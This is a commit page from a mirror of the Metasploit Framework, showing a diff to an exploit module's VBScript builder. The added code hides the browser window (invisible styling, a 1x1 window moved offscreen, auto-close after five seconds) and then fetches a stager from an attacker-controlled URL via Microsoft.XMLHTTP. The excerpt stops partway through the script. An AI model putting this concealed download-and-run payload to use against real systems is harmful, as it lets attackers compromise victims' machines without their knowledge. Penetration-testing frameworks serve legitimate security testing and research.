1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Brendan is an evil genius\!

This commit is contained in:
mr_me 2017-07-24 09:58:23 -07:00
parent cc8dc002e9
commit b2a002adc0

View File

@ -55,7 +55,13 @@ class MetasploitModule < Msf::Exploit::Remote
def build_vbs(url, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
vbs = %Q|<script language="VBScript">
vbs = %Q|<style>* { visibility: hidden; }</style>
<script language="VBScript">
window.resizeTo 1,1
window.moveTo -2000,-2000
</script>
<script type="text/javascript">setTimeout("window.close()", 5000);</script>
<script language="VBScript">
Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
#{name_xmlhttp}.open "GET","http://#{url}",False
#{name_xmlhttp}.send